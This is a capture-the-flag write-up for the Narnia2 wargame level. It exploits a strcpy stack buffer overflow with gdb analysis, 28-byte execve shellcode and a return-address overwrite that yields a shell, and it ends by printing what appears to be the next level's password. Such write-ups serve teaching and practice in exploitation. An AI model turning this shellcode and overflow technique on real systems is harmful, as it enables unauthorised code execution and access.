Narnia2

Given: narnia2 and narnia2.c

cat narnia2.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

int main(int argc, char \* argv[])

{

char buf[128];

if(argc == 1){

printf("Usage: %s argument\n", argv[0]);

exit(1);

}

strcpy(buf,argv[1]);

printf("%s", buf);

return 0;

}

So I will likely need to do a buffer overflow. I pull it up in gdb and disassemble main:

(gdb) disas main

Dump of assembler code for function main:

0x08048424 <+0>: push ebp

0x08048425 <+1>: mov ebp,esp

0x08048427 <+3>: and esp,0xfffffff0

0x0804842a <+6>: sub esp,0x90

0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1

0x08048434 <+16>: jne 0x8048458 <main+52>

0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc]

0x08048439 <+21>: mov edx,DWORD PTR [eax]

0x0804843b <+23>: mov eax,0x8048560

0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx

0x08048444 <+32>: mov DWORD PTR [esp],eax

0x08048447 <+35>: call 0x8048320 <printf@plt>

0x0804844c <+40>: mov DWORD PTR [esp],0x1

0x08048453 <+47>: call 0x8048350 <exit@plt>

0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc]

0x0804845b <+55>: add eax,0x4

0x0804845e <+58>: mov eax,DWORD PTR [eax]

0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax

0x08048464 <+64>: lea eax,[esp+0x10]

0x08048468 <+68>: mov DWORD PTR [esp],eax

0x0804846b <+71>: call 0x8048330 <strcpy@plt>

0x08048470 <+76>: mov eax,0x8048574

0x08048475 <+81>: lea edx,[esp+0x10]

0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx

0x0804847d <+89>: mov DWORD PTR [esp],eax

0x08048480 <+92>: call 0x8048320 <printf@plt>

0x08048485 <+97>: mov eax,0x0

0x0804848a <+102>: leave

0x0804848b <+103>: ret

End of assembler dump.

set args aaaaaaaaaaaaaaaa

b \*main+81 (after strcpy), run, and x/40x $esp shows me where all those a's went.

(gdb) x/40x $esp

0xffffd680: 0xffffd690 0xffffd8f0 0x00000001 0xf7ec4a79

0xffffd690: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd6a0: 0x61616161 0x00000000 0x00000000 0xf7e5efc3

0xffffd6b0: 0x08048258 0x00000000 0x00ca0000 0x00000001

0xffffd6c0: 0xffffd8da 0x0000002f 0xffffd71c 0xf7fceff4

0xffffd6d0: 0x08048490 0x08049750 0x00000002 0x080482fd

0xffffd6e0: 0xf7fcf3e4 0x00008000 0x08049750 0x080484b1

0xffffd6f0: 0xffffffff 0xf7e5f116 0xf7fceff4 0xf7e5f1a5

0xffffd700: 0xf7feb660 0x00000000 0x08048499 0xf7fceff4

0xffffd710: 0x08048490 0x00000000 0x00000000 0xf7e454b3

(gdb) info registers ebp

ebp 0xffffd718 0xffffd718

So if I write in enough data, I should expect to overwrite ebp and, given that the return address of a function is at ebp+0x4 in x86, I should be able to set it so I return to some shellcode.

I start sticking shellcode at the beginning of the arguments. This shellcode from the last challenge is 28 bytes:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

Given the buffer is 128 bytes, this should exactly fill it:

set args `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'\*100"`

Running and inspecting at the breakpoint again, I notice that I have 12 bytes left between the end of the buffer and the beginning of the return address. So:

set args `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'\*112 + 'bbbb'"`

run

And at the breakpoint:

(gdb) x/40x $esp

0xffffd600: 0xffffd610 0xffffd874 0x00000001 0xf7ec4a79

0xffffd610: 0x6850c031 0x68732f2f 0x69622f68 0x89e3896e

0xffffd620: 0xb0c289c1 0x3180cd0b 0x80cd40c0 0x61616161

0xffffd630: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd640: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd650: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd660: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd670: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd680: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd690: 0x61616161 0x61616161 0x61616161 0x62626262

(gdb) info registers ebp

ebp 0xffffd698 0xffffd698

So I successfully overwrote the return address with a bunch of b's. Now I need that to be the address of the shellcode, which is 0xffffd610.

set args `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'\*112 + '\x10\xd6\xff\xff'"`

run

Breakpoint 1, 0x08048475 in main ()

(gdb) x/40x $esp

0xffffd600: 0xffffd610 0xffffd874 0x00000001 0xf7ec4a79

0xffffd610: 0x6850c031 0x68732f2f 0x69622f68 0x89e3896e

0xffffd620: 0xb0c289c1 0x3180cd0b 0x80cd40c0 0x61616161

0xffffd630: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd640: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd650: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd660: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd670: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd680: 0x61616161 0x61616161 0x61616161 0x61616161

0xffffd690: 0x61616161 0x61616161 0x61616161 0xffffd610

So I let it continue.

This tries to run the shellcode but I get a permission denied. Running it in the full program, however, results in a segmentation fault.

I think the memory addresses on the stack might have changed between the gdb instance and the real thing so I toy with the last bytes of the memory address. This is what ends up working:

./narnia2 `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'\*112 + '\x30\xd6\xff\xff'"`

I don't know exactly why, but I got a shell, so I grabbed the key in the /etc/narnia\_pass

folder.

vaequeezee